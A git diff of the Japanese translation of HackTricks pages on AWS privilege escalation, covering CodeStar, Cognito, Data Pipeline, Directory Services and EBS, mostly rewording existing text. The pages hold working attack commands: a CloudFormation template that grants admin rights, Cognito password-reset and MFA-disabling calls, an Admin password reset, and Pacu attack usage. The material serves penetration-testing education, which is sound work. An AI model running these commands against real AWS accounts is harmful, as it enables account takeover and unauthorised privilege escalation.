../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,13 +12,13 @@ Codepipelineに関する詳細情報は以下を確認してください: ### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution` -コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを侵害することができます。 +コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを妥協することができます。 -前述の権限に加えて、**コードが保存されている場所へのアクセスが必要**です(S3、ECR、github、bitbucket...)。 +前述の権限に加えて、**コードが保存されている場所へのアクセス**(S3、ECR、github、bitbucket...)が必要です。 -私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するためには次の権限も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` +私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するには以下も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:` -**ビルドプロジェクトの作成中**に、**実行するコマンド**(rev shell?)を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が侵害するために必要な設定です: +**ビルドプロジェクトの作成中**に、**実行するコマンド**(rev shell?)を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が妥協するために必要な設定です: ![](<../../../images/image (276).png>) @@ -32,6 +32,6 @@ Codepipelineに関する詳細情報は以下を確認してください: [AWSは次のように述べています](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html): -> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合です。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。 +> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md index 5ac398d4c..c9cf4e67e 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md @@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md ### `iam:PassRole`, `codestar:CreateProject` -これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。以下のページを確認してください: +これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。次のページを確認してください: {{#ref}} iam-passrole-codestar-createproject.md @@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md ### `codestar:CreateProject`, `codestar:AssociateTeamMember` -この技術は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**オーナー**にすることで、**いくつかの追加権限を持つ新しいポリシー**を付与します。 +この手法は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**所有者**にすることで、**いくつかの追加権限を持つ新しいポリシーを付与**します。 ```bash PROJECT_NAME="supercodestar" @@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \ --project-role "Owner" \ --remote-access-allowed ``` -もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナーに更新**できます。`codestar:AssociateTeamMember`の代わりに。 +もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナー**に更新することができます。`codestar:AssociateTeamMember`の代わりに。 -**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下のポリシーの例を見つけることができます。 +**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下にそのポリシーの例を見つけることができます: {{#ref}} codestar-createproject-codestar-associateteammember.md @@ -52,15 +52,15 @@ codestar-createproject-codestar-associateteammember.md 1. **新しいプロジェクトを作成:** - **`codestar:CreateProjectFromTemplate`**アクションを利用して新しいプロジェクトの作成を開始します。 - 成功裏に作成されると、**`cloudformation:UpdateStack`**へのアクセスが自動的に付与されます。 -- このアクセスは、`CodeStarWorker--CloudFormation` IAMロールに関連付けられたスタックを特に対象とします。 +- このアクセスは、`CodeStarWorker--CloudFormation` IAMロールに関連付けられたスタックを特に対象としています。 2. **ターゲットスタックを更新:** - 付与されたCloudFormation権限を使用して、指定されたスタックを更新します。 -- スタックの名前は通常、次の2つのパターンのいずれかに従います: +- スタックの名前は通常、次の2つのパターンのいずれかに従います: - `awscodestar--infrastructure` - `awscodestar--lambda` - 正確な名前は選択したテンプレートに依存します(例のエクスプロイトスクリプトを参照)。 3. **アクセスと権限:** -- 更新後、スタックに関連付けられた**CloudFormation IAMロール**に割り当てられた機能を取得します。 +- 更新後、スタックにリンクされた**CloudFormation IAMロール**に割り当てられた機能を取得します。 - 注意: これは本質的に完全な管理者権限を提供するものではありません。権限をさらに昇格させるためには、環境内の追加の誤設定されたリソースが必要になる場合があります。 詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md index e75a28c33..ad1ba4228 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md @@ -2,9 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -これらの権限を使用すると、**codestar IAMロールを悪用**して、**cloudformationテンプレート**を介して**任意のアクション**を実行できます。 +これらの権限を使用すると、**codestar IAMロールを悪用**して、**任意のアクション**を**cloudformationテンプレート**を通じて実行できます。 -これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケット**を作成する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーにマネージドポリシーを設定し、**管理者権限を付与**できます: +これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケットを作成**する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーに管理ポリシーを設定し、**管理者権限を付与**できます: ```json:toolchain.json { "Resources": { @@ -32,9 +32,9 @@ {% file src="../../../../images/empty.zip" %} -**victim account** から両方のファイルにアクセスできる **bucket** であることを忘れないでください。 +**両方のファイルが被害者アカウントからアクセス可能なバケットであることを忘れないでください**。 -両方のファイルを **upload** したら、**codestar** プロジェクトを作成して **exploitation** に進むことができます: +両方のファイルをアップロードしたら、**codestar** プロジェクトを作成して **exploitation** に進むことができます: ```bash PROJECT_NAME="supercodestar" @@ -79,6 +79,6 @@ aws codestar create-project \ --source-code file://$SOURCE_CODE_PATH \ --toolchain file://$TOOLCHAIN_PATH ``` -このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) ここでは、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。 +このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) これにより、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。 {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md index e9a1da7a6..f837e66bb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md @@ -4,7 +4,7 @@ ## Cognito -Cognitoに関する詳細情報は以下を確認してください: +Cognitoに関する詳細情報は、以下を確認してください: {{#ref}} ../aws-services/aws-cognito-enum/ @@ -12,9 +12,9 @@ Cognitoに関する詳細情報は以下を確認してください: ### アイデンティティプールからの資格情報の収集 -Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば(アプリケーションにハードコーディングされているはずです)、新しい資格情報を取得でき、したがって権限昇格が可能です(おそらく以前は資格情報を持っていなかったAWSアカウント内で)。 +Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば(アプリケーションにハードコーディングされているはずです)、新しい資格情報を取得でき、したがって権限昇格が可能です(おそらく以前は何の資格情報も持っていなかったAWSアカウント内で)。 -詳細については[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。 +詳細情報は[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。 **潜在的な影響:** 未認証ユーザーに付与されたサービスロールへの直接的な権限昇格(おそらく認証済みユーザーに付与されたものにも)。 @@ -32,7 +32,7 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90 ## Get creds for that id aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ``` -もしCognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。 +Cognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。 **潜在的な影響:** どのCognitoロールにも直接的な権限昇格。 @@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \ --allow-unauthenticated-identities --allow-classic-flow ``` -**潜在的な影響**: アイデンティティプール内の構成された認証済みIAMロールを侵害する。 +**潜在的な影響**: アイデンティティプール内の設定された認証済みIAMロールが侵害される。 ### `cognito-idp:AdminAddUserToGroup` @@ -80,11 +80,11 @@ aws cognito-idp admin-add-user-to-group \ --username \ --group-name ``` -**潜在的な影響:** 他のCognitoグループおよびユーザープールグループに付随するIAMロールへの権限昇格。 +**潜在的な影響:** 他のCognitoグループおよびユーザープールグループに添付されたIAMロールへの権限昇格。 ### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole` -これらの権限を持つ攻撃者は、**侵害されたCognitoアイデンティティプロバイダー**によって使用できる**すべてのIAMロール**を持つ**グループを作成/更新**し、侵害されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます: +これらの権限を持つ攻撃者は、**すべてのIAMロールを使用して**妥協されたCognitoアイデンティティプロバイダーによって**作成/更新されたグループ**を作成/更新し、妥協されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます。 ```bash aws cognito-idp create-group --group-name Hacked --user-pool-id --role-arn ``` @@ -111,11 +111,11 @@ aws cognito-idp admin-create-user \ [--validation-data ] [--temporary-password ] ``` -**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。 +**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。 ### `cognito-idp:AdminEnableUser` -この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、そのユーザーを**再度有効にする**必要がある非常に限られたケースで役立ちます。 +この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、**再度有効にする**必要がある非常に限られたケースで役立ちます。 ```bash aws cognito-idp admin-enable-user \ --user-pool-id \ @@ -129,7 +129,7 @@ aws cognito-idp admin-enable-user \ ### `cognito-idp:AdminSetUserPassword` -この権限は、攻撃者が**任意のユーザーのパスワードを変更することを許可し、MFAが有効でない任意のユーザーになりすますことができるようにします。** +この権限は、攻撃者が**任意のユーザーのパスワードを変更する**ことを許可し、MFAが有効でない任意のユーザーを偽装できるようにします。 ```bash aws cognito-idp admin-set-user-password \ --user-pool-id \ @@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \ --password \ --permanent ``` -**潜在的な影響:** 直接的な権限昇格が可能で、すべてのユーザーが所属するグループへのアクセスや、Identity Pool 認証済み IAM ロールへのアクセスが可能です。 +**潜在的な影響:** 直接的な権限昇格により、任意のユーザーにアクセスできる可能性があり、各ユーザーが所属するすべてのグループへのアクセスと、Identity Pool 認証済み IAM ロールへのアクセスが得られます。 ### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool` @@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \ --username \ --user-pool-id ``` -**SetUserPoolMfaConfig**: 前のものと同様に、この権限はMFA保護を回避するためにユーザープールのMFA設定を行うために使用できます。 +**SetUserPoolMfaConfig**: 前のものと同様に、この権限はユーザープールのMFA設定を変更してMFA保護を回避するために使用できます。 ```bash aws cognito-idp set-user-pool-mfa-config \ --user-pool-id \ @@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \ [--software-token-mfa-configuration ] \ [--mfa-configuration ] ``` -**UpdateUserPool:** ユーザープールを更新してMFAポリシーを変更することも可能です。[こちらでcliを確認してください](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。 +**UpdateUserPool:** ユーザープールを更新してMFAポリシーを変更することも可能です。[Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html)。 **Potential Impact:** 攻撃者が認証情報を知っている任意のユーザーに対する間接的な権限昇格が可能で、これによりMFA保護を回避できる可能性があります。 @@ -182,9 +182,9 @@ aws cognito-idp admin-update-user-attributes \ ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -この権限を持つ攻撃者は、**既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成**することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密を持たず、トークンの取り消しを無効にし、トークンがより長い期間有効であることを許可することができます... +この権限を持つ攻撃者は、**既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成**することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密がなく、トークンの取り消しが無効で、トークンがより長い期間有効であることを許可することができます... -新しいクライアントを作成する代わりに、**既存のクライアントを変更**することでも同じことができます。 +新しいクライアントを作成する代わりに、**既存のクライアントを変更する**ことでも同じことができます。 [**コマンドライン**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html)(または[**更新のもの**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html))で、すべてのオプションを確認できます。チェックしてください! ```bash @@ -193,11 +193,11 @@ aws cognito-idp create-user-pool-client \ --client-name \ [...] ``` -**潜在的な影響:** ユーザープールによって使用されるアイデンティティプールの承認されたユーザーへの潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。 +**潜在的な影響:** ユーザープールによって使用されるアイデンティティプールの承認されたユーザーに対する潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。 ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -攻撃者はこの権限を悪用して、新しいユーザーを含むCSVをアップロードすることでユーザーを作成することができる。 +攻撃者はこの権限を悪用して、新しいユーザーを含むcsvをアップロードすることでユーザーを作成することができる。 ```bash # Create a new import job aws cognito-idp create-user-import-job \ @@ -214,13 +214,13 @@ aws cognito-idp start-user-import-job \ curl -v -T "PATH_TO_CSV_FILE" \ -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` -(新しいインポートジョブを作成する場合、iam passrole権限も必要になるかもしれませんが、まだテストしていません)。 +(新しいインポートジョブを作成する場合、iam passrole権限が必要になることがありますが、まだテストしていません)。 **潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。 ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -攻撃者は新しいアイデンティティプロバイダーを作成し、その後**このプロバイダーを通じてログイン**できるようになります。 +攻撃者は新しいアイデンティティプロバイダーを作成し、このプロバイダーを通じて**ログインできる**ようになります。 ```bash aws cognito-idp create-identity-provider \ --user-pool-id \ @@ -230,36 +230,36 @@ aws cognito-idp create-identity-provider \ [--attribute-mapping ] \ [--idp-identifiers ] ``` -**潜在的な影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。他のアプリ機能への間接的な権限昇格、任意のユーザーを作成できる。 +**潜在的影響:** 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。 ### cognito-sync:\* 分析 -これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていると常に悪い印象を与えます(特にAWSからの場合)、しかし**与えられた権限は攻撃者の視点からはあまり有用ではありません**。 +これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていることは常に悪い印象を与えます(特にAWSからの場合)、しかし**与えられた権限は攻撃者の視点からはあまり有用ではありません**。 -この権限は、アイデンティティプール内のアイデンティティIDとアイデンティティプールの使用情報を読み取ることを許可します(これは機密情報ではありません)。\ -アイデンティティIDには、セッションの情報(AWSはこれを**セーブされたゲーム**と定義しています)を持つ[**データセット**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)が割り当てられている可能性があります。これには何らかの機密情報が含まれている可能性がありますが(確率はかなり低いです)、この情報にアクセスする方法は[**列挙ページ**](../aws-services/aws-cognito-enum/)で見つけることができます。 +この権限は、アイデンティティプール内のアイデンティティ情報やアイデンティティIDを読み取ることを許可します(これは機密情報ではありません)。\ +アイデンティティIDには[**データセット**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html)が割り当てられている可能性があり、これはセッションの情報です(AWSはこれを**セーブされたゲーム**と定義しています)。これには何らかの機密情報が含まれている可能性がありますが(確率はかなり低いです)、この情報にアクセスする方法は[**列挙ページ**](../aws-services/aws-cognito-enum/)で見つけることができます。 -攻撃者はこれらの権限を使用して、**これらのデータセットの変更を公開するCognitoストリームに自分を登録する**か、**Cognitoイベントでトリガーされるラムダ**を使用することもできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。 +攻撃者はこれらの権限を使用して、**これらのデータセットの変更を公開するCognitoストリームに自分自身を登録する**か、**CognitoイベントでトリガーされるLambdaに登録する**こともできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。 ### 自動ツール -- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプールの資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。 +- [Pacu](https://github.com/RhinoSecurityLabs/pacu)、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito\_\_enum」と「cognito\_\_attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプール資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。 モジュールの機能の説明については、[ブログ投稿](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2)のパート2を参照してください。インストール手順については、メインの[Pacu](https://github.com/RhinoSecurityLabs/pacu)ページを参照してください。 #### 使用法 -特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのサンプルcognito\_\_attack使用法: +特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのcognito\_\_attackのサンプル使用法: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -サンプル cognito\_\_enum の使用法:現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集します。 +サンプル cognito\_\_enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです: ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、特権昇格を含むCognitoに対するさまざまな攻撃を実装したPythonのCLIツールです。 +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) は、Cognito に対するさまざまな攻撃を実装する Python の CLI ツールで、特権昇格を含みます。 #### インストール ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 4b76ecb39..f3c576156 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -12,7 +12,7 @@ datapipelineに関する詳細情報は、以下を確認してください: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -これらの**権限を持つユーザーは、割り当てられたロールの**権限を使用して任意のコマンドを実行するためにData Pipelineを作成することで権限を昇格させることができます: +これらの**権限を持つユーザーは、Data Pipelineを作成することで権限を昇格させることができます**。これは**割り当てられたロールの権限を使用して任意のコマンドを実行するためです:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` @@ -50,14 +50,14 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string } ``` > [!NOTE] -> **14行目、15行目、27行目**の**ロール**は**datapipeline.amazonaws.comによって引き受け可能なロール**である必要があります。また、**28行目**のロールは**EC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロール**である必要があります。 +> **14行目、15行目、27行目**の**ロール**は**datapipeline.amazonaws.comによって引き受け可能なロール**である必要があり、**28行目**のロールは**EC2プロファイルインスタンスを持つec2.amazonaws.comによって引き受け可能なロール**である必要があります。 > > さらに、EC2インスタンスはEC2インスタンスによって引き受け可能なロールにのみアクセスできるため(そのロールのみを盗むことができます)。 ```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` -攻撃者によって作成された**パイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれています**。これにより、Data Pipelineのロール権限を利用して、追加の特権を得る可能性があります。 +攻撃者によって作成された**パイプライン定義ファイルには、コマンドを実行するか、AWS APIを介してリソースを作成するための指示が含まれており、Data Pipelineのロール権限を利用して追加の特権を得る可能性があります。** **潜在的な影響:** 指定されたec2サービスロールへの直接的な特権昇格。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index 98a052a72..588f9d332 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -1,4 +1,4 @@ -# AWS - Directory Services Privesc +# AWS - ディレクトリサービスの特権昇格 {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ ### `ds:ResetUserPassword` -この権限は、Active Directory内の**既存**のユーザーの**パスワード**を**変更**することを許可します。\ +この権限は、Active Directory内の任意の**既存**ユーザーの**パスワード**を**変更**することを許可します。\ デフォルトでは、唯一の**既存**ユーザーは**Admin**です。 ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. @@ -27,6 +27,6 @@ ADのユーザーがログインするためにアクセスできる**アプリ
-アプリケーションアクセスURLを有効にし、AWS Management Consoleの権限を付与する方法は、現時点ではないようです。 +アプリケーションアクセスURLを有効にし、AWS Management Consoleの権限を付与する方法は、現時点では明らかにされていません。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index 9303258d7..d43819a0c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -dynamodbに関する詳細情報は以下を確認してください: +dynamodbに関する詳細情報は次を確認してください: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,12 +12,12 @@ dynamodbに関する詳細情報は以下を確認してください: ### Post Exploitation -私の知る限り、AWSの`dynamodb`権限を持っているだけでは**権限を昇格させる直接的な方法はありません**。テーブルから**機密情報**を**読み取る**ことができ(AWSの資格情報を含む可能性があります)、テーブルに**情報を書き込む**ことができます(これにより、lambdaコードインジェクションなどの他の脆弱性を引き起こす可能性があります)が、これらのオプションはすでに**DynamoDB Post Exploitationページ**で考慮されています: +私の知る限り、AWSの`dynamodb`権限を持っているだけで特権を昇格させる**直接的な方法はありません**。テーブルから**機密情報**を**読み取る**ことができ(AWSの資格情報を含む可能性があります)、テーブルに**情報を書き込む**ことができます(これにより、lambdaコードインジェクションなどの他の脆弱性が引き起こされる可能性があります)が、これらのオプションはすでに**DynamoDB Post Exploitationページ**で考慮されています: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: データストリームを悪用してデータを読む {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index c5e454cd1..78145b808 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,22 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -これらを持つ攻撃者は、**ボリュームスナップショットをローカルにダウンロードして分析し**、その中にある機密情報(シークレットやソースコードなど)を探すことができる可能性があります。これを行う方法は以下を参照してください: +これらの権限を持つ攻撃者は、**ボリュームスナップショットをローカルにダウンロードして分析し**、その中にある機密情報(シークレットやソースコードなど)を探すことができます。これを行う方法は以下を参照してください: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -他にも役立つ権限があるかもしれません:`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +他にも役立つ権限として、`ec2:DescribeInstances`、`ec2:DescribeVolumes`、`ec2:DeleteSnapshot`、`ec2:CreateSnapshot`、`ec2:CreateTags`などがあります。 -ツール [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) は、**ドメインコントローラーからパスワードを抽出する**ためにこの攻撃を実行します。 +ツール [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) は、**ドメインコントローラーからパスワードを抽出する**攻撃を実行します。 -**潜在的な影響:** スナップショット内の機密情報を特定することによる間接的な権限昇格(Active Directoryのパスワードを取得することさえ可能です)。 +**潜在的な影響:** スナップショット内の機密情報を特定することによる間接的な権限昇格(Active Directoryのパスワードを取得することも可能です)。 ### **`ec2:CreateSnapshot`** 